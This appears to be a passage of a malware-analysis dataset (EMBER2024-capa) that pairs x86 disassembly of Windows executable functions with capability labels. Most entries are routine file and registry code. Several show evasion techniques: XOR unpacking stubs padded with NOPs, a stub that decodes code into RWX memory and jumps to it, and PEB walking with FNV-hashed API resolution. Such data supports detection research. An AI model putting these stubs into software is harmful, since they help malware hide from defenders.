joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014e5
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [0x423cb0]
or eax, 8
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40157a
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x401537
cmp dword [ebp + 0x10], ebx
jne 0x40156e
push ebx
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call fcn.004014e5
test eax, eax
jne 0x401549
push edi
lea eax, [ebp - 0x10c]
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x40151e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.004058b6
cmp eax, ebx
je 0x401581
push ebx
push dword [0x423cb0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x40157a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x423cb0], ebx
jne 0x401577
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x401577
jmp 0x40157a
Function at 0x402d88
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [0x41ad84]
sub esi, dword [0x41ed90]
push edi
add esi, dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x1f4
xor ebx, ebx
mov dword [0x423c20], eax
cmp esi, ebx
jle 0x402ee6
push dword [0x41ed8c]
call fcn.00402d6c
push ebx
push ebx
push dword [0x41ed90]
push dword [0x409014]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [0x41ad80], esi
mov dword [0x40acf4], ebx
mov ebp, 0x412d80
mov eax, dword [0x41ed88]
sub eax, dword [0x41ed8c]
mov edi, 0x4000
cmp eax, edi
jg 0x402dfd
mov edi, eax
push edi
mov esi, 0x41ad88
push esi
call fcn.00402d3a
test eax, eax
je 0x402ef8
add dword [0x41ed8c], edi
mov dword [0x412d10], esi
mov dword [0x412d14], edi
cmp dword [0x423bcc], ebx
je 0x402e54
cmp dword [0x423ca0], ebx
jne 0x402e54
mov eax, dword [0x41ad80]
sub eax, dword [0x41ad84]
push ebx
sub eax, dword [esp + 0x1c]
add eax, dword [0x41ed90]
mov dword [0x40acf4], eax
call fcn.00402c9b
pop ecx
mov ecx, 0x412cf8
mov dword [0x412d18], ebp
mov dword [0x412d1c], 0x8000
call fcn.0040609b
test eax, eax
js 0x402efd
mov esi, dword [0x412d18]
sub esi, ebp
je 0x402eb2
push ebx
lea eax, [esp + 0x14]
push eax
push esi
push ebp
push dword [0x409014]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402f02
cmp esi, dword [esp + 0x10]
jne 0x402f02
add dword [0x41ed90], esi
cmp dword [0x412d14], ebx
jne 0x402e23
jmp 0x402ebe
cmp dword [0x412d14], ebx
jne 0x402efd
cmp edi, ebx
je 0x402efd
mov eax, dword [0x41ad84]
mov ecx, eax
sub ecx, dword [0x41ed90]
add ecx, dword [esp + 0x18]
test ecx, ecx
jg 0x402de7
push ebx
push ebx
push eax
push dword [0x409014]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 1
call fcn.00402c9b
pop ecx
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4
or eax, 0xffffffff
jmp 0x402ef0
push 0xfffffffffffffffd
pop eax
jmp 0x402ef0
push 0xfffffffffffffffe
jmp 0x402eff
Function at 0x402f06
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push esi
push edi
xor edi, edi
cmp eax, edi
jl 0x402f30
add eax, dword [0x423c18]
push edi
push edi
push eax
push dword [0x409014]
mov dword [0x41ad84], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
pop esi
push esi
call fcn.00402d88
cmp eax, edi
jl 0x403029
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp + 8]
push eax
push dword [0x409014]
call ebx
test eax, eax
je 0x403025
cmp dword [ebp - 4], esi
jne 0x403025
push dword [ebp + 8]
add dword [0x41ad84], esi
call fcn.00402d88
mov dword [ebp - 8], eax
cmp eax, edi
jl 0x403028
cmp dword [ebp + 0x10], edi
jne 0x402ff4
cmp dword [ebp + 8], edi
jle 0x403020
mov esi, 0x41ad88
mov edi, 0x4000
cmp dword [ebp + 8], edi
jge 0x402fa4
mov edi, dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push dword [0x409014]
call ebx
test eax, eax
je 0x403025
cmp edi, dword [ebp - 4]
jne 0x403025
push 0
lea eax, [ebp + 0x14]
push eax
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402ff0
cmp dword [ebp + 0x14], edi
jne 0x402ff0
mov eax, dword [ebp - 4]
add dword [ebp - 8], eax
sub dword [ebp + 8], eax
add dword [0x41ad84], eax
cmp dword [ebp + 8], 0
jg 0x402f97
jmp 0x403020
push 0xfffffffffffffffe
jmp 0x403027
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x402fff
mov eax, dword [ebp + 0x14]
push edi
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x409014]
call ebx
test eax, eax
je 0x403025
mov eax, dword [ebp - 4]
add dword [0x41ad84], eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x403028
push 0xfffffffffffffffd
pop eax
pop ebx
pop edi
pop esi
leave
ret 0x10
Function at 0x4054a2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0x4211d8
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
mov dword [0x4211d8], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4054dd
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405624
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x405641
and eax, 0xfffffffe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4

Function at 0x405644
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [eax + 1]
push 0
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405673
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4056b7
test edi, edi
jne 0x40567e
mov byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x4056b1

Function at 0x4056bb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x14]
lea eax, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push ebx
push dword [ebp + 0xc]
mov byte [esi], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40572c
lea eax, [ebp + 0xc]
push eax
push esi
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
mov dword [ebp + 0xc], 0x400
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40571b
cmp dword [ebp + 0x14], 1
je 0x40571d
cmp dword [ebp + 0x14], 2
je 0x40571d
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x405973
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x421220
push esi
call fcn.004057d2
push esi
call fcn.004055ad
mov edi, eax
test edi, edi
jne 0x405994
xor eax, eax
jmp 0x4059ec
push edi
call fcn.004057f4
test byte [0x423c28], 0x80
je 0x4059ad
mov al, byte [edi]
test al, al
je 0x405990
cmp al, 0x5c
je 0x405990
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
sub edi, esi
jmp 0x4059cd
push esi
call fcn.0040588f
test eax, eax
je 0x4059c7
test byte [eax], 0x10
je 0x4059f1
push esi
call fcn.0040594c
push esi
call ebx
cmp eax, edi
jg 0x4059b8
push esi
call fcn.0040591f
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebx
pop edi
pop esi
ret 4
xor eax, eax
jmp 0x4059eb
Function at 0x405ca6
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.004058b6
mov esi, dword [esp + 0x18]
test eax, eax
je 0x405cca
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405e03
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x421620], 0x4c554e
mov edi, 0x400
mov ebp, 0x421620
test esi, esi
je 0x405d0e
push 1
push 0
push esi
call fcn.00405644
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x405e09
cmp eax, edi
jg 0x405e09
push edi
mov esi, 0x421f60
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x405e09
cmp eax, edi
jg 0x405e09
push esi
push ebp
push str._s_s_r_n
push 0x421a20
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x423bcc]
push dword [eax + 0x128]
push esi
call fcn.00405a4b
push 4
push 0xc0000000
push esi
call fcn.00405644
mov ebp, eax
mov dword [esp + 0x14], ebp
cmp ebp, 0xffffffff
je 0x405e03
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405dfc
push 0
lea eax, [esp + 0x1c]
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405dfc
cmp edi, dword [esp + 0x18]
jne 0x405dfc
push str._Rename__r_n
push esi
call fcn.004059f5
test eax, eax
jne 0x405e10
push str._Rename__r_n
lea eax, [esi + edi]
push eax
call fcn.004057d2
add edi, 0xa
mov eax, edi
push ebx
push 0x421a20
add eax, esi
push eax
call fcn.00405600
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x1c]
push eax
add edi, ebx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x423c90]
pop edi
pop esi
pop ebp
pop ebx
ret 8
push 0x407634
add eax, 0xa
push eax
call fcn.004059f5
test eax, eax
je 0x405dc7
inc eax
lea ecx, [esi + edi]
mov ebp, eax
cmp eax, ecx
jae 0x405e37
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x405e2c
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x405dc9
Function at 0x405e3f
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [ebp + 8]
push ebx
call fcn.00405973
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], eax
test cl, 8
je 0x405e74
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x423c88], eax
jmp 0x406005
mov dword [ebp + 8], ecx
and dword [ebp + 8], 1
push esi
je 0x405e8f
test eax, eax
je 0x405fb0
test cl, 2
je 0x405fb0
push edi
push ebx
mov esi, 0x422360
push esi
call fcn.004057d2
cmp dword [ebp + 8], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x405eb2
push str..
push esi
call edi
jmp 0x405eb8
push ebx
call fcn.0040594c
cmp byte [ebx], 0
jne 0x405ec6
cmp byte [0x422360], 0x5c
jne 0x405ece
push 0x407298
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [ebx + eax]
lea eax, [ebp - 0x148]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x405fa5
lea esi, [ebp - 0x11c]
push 0x3f
mov eax, esi
push eax
call fcn.00405569
cmp byte [eax], 0
je 0x405f10
cmp byte [ebp - 0x18], 0
je 0x405f10
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x405f26
mov al, byte [esi + 1]
test al, al
je 0x405f84
cmp al, 0x2e
jne 0x405f26
cmp byte [esi + 2], 0
je 0x405f84
push esi
push edi
call fcn.004057d2
test byte [ebp - 0x148], 0x10
je 0x405f4b
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405f84
push dword [ebp + 0xc]
push ebx
call fcn.00405e3f
jmp 0x405f84
push ebx
call fcn.00405624
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x405f7c
test byte [ebp + 0xc], 4
je 0x405f74
push ebx
push 0xfffffffffffffff1
call fcn.00404855
push 0
push ebx
call fcn.00405ca6
jmp 0x405f84
inc dword [0x423c88]
jmp 0x405f84
push ebx
push 0xfffffffffffffff2
call fcn.00404855
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405ef2
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405faf
mov byte [edi - 1], 0
pop edi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x406004
cmp dword [ebp - 8], esi
je 0x405ff4
push ebx
call fcn.0040588f
test eax, eax
je 0x406004
push ebx
call fcn.0040591f
push ebx
call fcn.00405624
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x405ffc
test byte [ebp + 0xc], 4
je 0x405ff4
push ebx
push 0xfffffffffffffff1
call fcn.00404855
push esi
push ebx
call fcn.00405ca6
jmp 0x406004
inc dword [0x423c88]
jmp 0x406004
push ebx
push 0xffffffffffffffe5
call fcn.00404855
pop esi
pop ebx
leave
ret 8
Function at 0x40600a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x422764], 0
jne 0x406048
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40601e
mov dword [ecx*4 + 0x422760], eax
inc ecx
cmp ecx, 0x100
jl 0x406019
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406075
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x422760]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406056
not eax
pop ebp
ret 0xc

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x40c8f1
Capabilities:
Allocate or change rwx memory

Disassembly:
xor esi, esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ecx, ecx
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
js 0x40c91c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
or eax, 0xe1
mov edx, 0
mov dl, al
add esi, edx
cmp esi, 0x40125ade
jl 0x40c8f3
mov bl, dl
mov ecx, edx
push ecx
push 0x40
push 0x3000
push 0xe9db
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
pop ecx
mov esi, dword [esp]
add esi, 0xb9
mov edi, eax
push eax
mov ecx, 0x1f5
mov edx, 0xddb78fed
mov ebp, 0
mov bh, byte [esi]
inc esi
add bh, bl
add bh, dl
mov byte [edi], bh
inc edi
push edx
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop ecx
pop edx
and eax, 0xff
add eax, 4
shr edx, 8
inc ebp
cmp ebp, eax
jne 0x40c99b
mov ebp, 0xddb78fed
mov edx, ebp
mov ebp, 0
sub ecx, 1
cmp ecx, 0
jne 0x40c969
pop eax
mov edx, eax
jmp edx
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x28250d16
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x409779d6
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401010
Capabilities:
Get common file path

Disassembly:
push edi
sub esp, 0x200
push esp
pop edi
push 0x100
push edi
call sub.KERNEL32.dll_GetSystemDirectoryA
lea edx, [edi + 0x7c]
xor ecx, ecx
push ecx
push ecx
push ecx
push edx
push ecx
push edi
add edi, eax
mov eax, 0x69636d5c
stosd dword es:[edi], eax
mov eax, 0x65766177
stosd dword es:[edi], eax
mov eax, 0x6c6c642e
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
call sub.KERNEL32.dll_FindFirstFileExA
add esp, 0x200
pop edi
cmp eax, 1
jg 0x401058
int3
pushal
jmp fcn.00401290

Function at 0x4015b0
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
lea edx, [ebx - 0x38]
push edx
push ebx
mov ebx, esp
push ebx
push 0x2b
add dword [esp], 0x15
push 0xfffffe7c
add dword [esp], 0xaec
mov ebx, section..data
push ebx
sub ebx, ebx
dec ebx
and ebx, sym.imp.KERNEL32.dll_VirtualProtect
call dword [ebx]
pop edx
pop edx
mov esi, 0x403400
mov dword [edx + 0x7c], esi
lea edi, [esi - 0x98]
lea ebx, [0x4020f9]
xor ecx, ecx
mov eax, dword [ebx]
add ebx, 3
inc ebx
push eax
pop dword [edi + 0x98]
add edi, 4
xor dword [edi + 0x94], 0x4ae37c43
nop
sub dword [edi + 0x94], 0x4eac6723
add ecx, 4
cmp ecx, 0x568
jne 0x4015f6
push edx
lea ebx, [edx - 0x12c]
push 0
push 0
push ebx
call sub.KERNEL32.dll_LoadLibraryExA
test eax, eax
jne 0x401627
pop edx
pop ebp
ret 0x10
Function at 0x410f90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4f081c]
sub esp, 0x10
push ebx
push esi
push edi
test eax, eax
jne 0x411030
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edi, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], edi
nop dword [eax]
movzx edx, word [edi + 0x2c]
xor esi, esi
mov eax, dword [edi + 0x30]
xor ebx, ebx
shr edx, 1
mov dword [ebp - 4], 0x811c9dc5
lea ecx, [eax + edx*2]
cmp eax, ecx
cmova edx, esi
mov dword [ebp - 0xc], edx
test edx, edx
je 0x411017
mov edi, edx
mov dl, byte [eax]
lea eax, [eax + 2]
movsx esi, dl
sub dl, 0x41
mov ecx, esi
or ecx, 0x20
cmp dl, 0x19
cmova ecx, esi
inc ebx
xor ecx, dword [ebp - 4]
imul ecx, ecx, 0x1000193
mov dword [ebp - 4], ecx
cmp ebx, edi
jne 0x410fe5
mov edi, dword [ebp - 8]
cmp ecx, 0xa3e6f6c3
je 0x411037
mov eax, dword [edi]
mov edi, eax
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 0x10]
je 0x411029
cmp dword [edi + 0x18], 0
jne 0x410fc0
xor eax, eax
mov dword [0x4f081c], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x18]
pop edi
pop esi
mov dword [0x4f081c], eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411050
Capabilities:
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x4f07e8]
mov edx, ecx
mov dword [ebp - 0x10], edx
test eax, eax
jne 0x4110fb
test edx, edx
jne 0x411077
xor eax, eax
mov dword [0x4f07e8], eax
mov esp, ebp
pop ebp
ret
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
mov dword [ebp - 8], eax
lea eax, [ecx + edx]
mov dword [ebp - 8], eax
cmp eax, edx
je 0x41106c
push ebx
xor ecx, ecx
push esi
push edi
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x4110f1
mov edi, dword [eax + 0x20]
add edi, edx
mov eax, dword [edi]
mov esi, 0x811c9dc5
add eax, edx
mov bl, byte [eax]
inc eax
test bl, bl
je 0x4110e2
movsx edx, bl
lea eax, [eax + 1]
sub bl, 0x41
mov ecx, edx
or ecx, 0x20
cmp bl, 0x19
mov bl, byte [eax - 1]
cmova ecx, edx
xor ecx, esi
imul esi, ecx, 0x1000193
test bl, bl
jne 0x4110b1
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
cmp esi, 0xc53b1722
je 0x4110ff
mov eax, dword [ebp - 8]
inc ecx
add edi, 4
mov dword [ebp - 4], ecx
cmp ecx, dword [eax + 0x18]
jne 0x4110a1
pop edi
xor eax, eax
pop esi
pop ebx
mov dword [0x4f07e8], eax
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 8]
pop edi
pop esi
mov eax, dword [ebx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebx + 0x1c]
pop ebx
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [0x4f07e8], eax
mov esp, ebp
pop ebp
ret
Function at 0x411130
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edx, dword [eax + 0x18]
mov eax, dword [0x4f0830]
mov dword [ebp - 0x10], edx
test eax, eax
jne 0x4111ea
test edx, edx
jne 0x411166
xor eax, eax
mov dword [0x4f0830], eax
mov esp, ebp
pop ebp
ret
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
mov dword [ebp - 8], eax
lea eax, [ecx + edx]
mov dword [ebp - 8], eax
cmp eax, edx
je 0x41115b
push ebx
xor ecx, ecx
push esi
push edi
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x4111e0
mov edi, dword [eax + 0x20]
add edi, edx
mov eax, dword [edi]
mov esi, 0x811c9dc5
add eax, edx
mov bl, byte [eax]
inc eax
test bl, bl
je 0x4111d1
movsx edx, bl
lea eax, [eax + 1]
sub bl, 0x41
mov ecx, edx
or ecx, 0x20
cmp bl, 0x19
mov bl, byte [eax - 1]
cmova ecx, edx
xor ecx, esi
imul esi, ecx, 0x1000193
test bl, bl
jne 0x4111a0
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
cmp esi, 0x3c60a16d
je 0x4111ee
mov eax, dword [ebp - 8]
inc ecx
add edi, 4
mov dword [ebp - 4], ecx
cmp ecx, dword [eax + 0x18]
jne 0x411190
pop edi
xor eax, eax
pop esi
pop ebx
mov dword [0x4f0830], eax
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 8]
pop edi
pop esi
mov eax, dword [ebx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebx + 0x1c]
pop ebx
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [0x4f0830], eax
mov esp, ebp
pop ebp
ret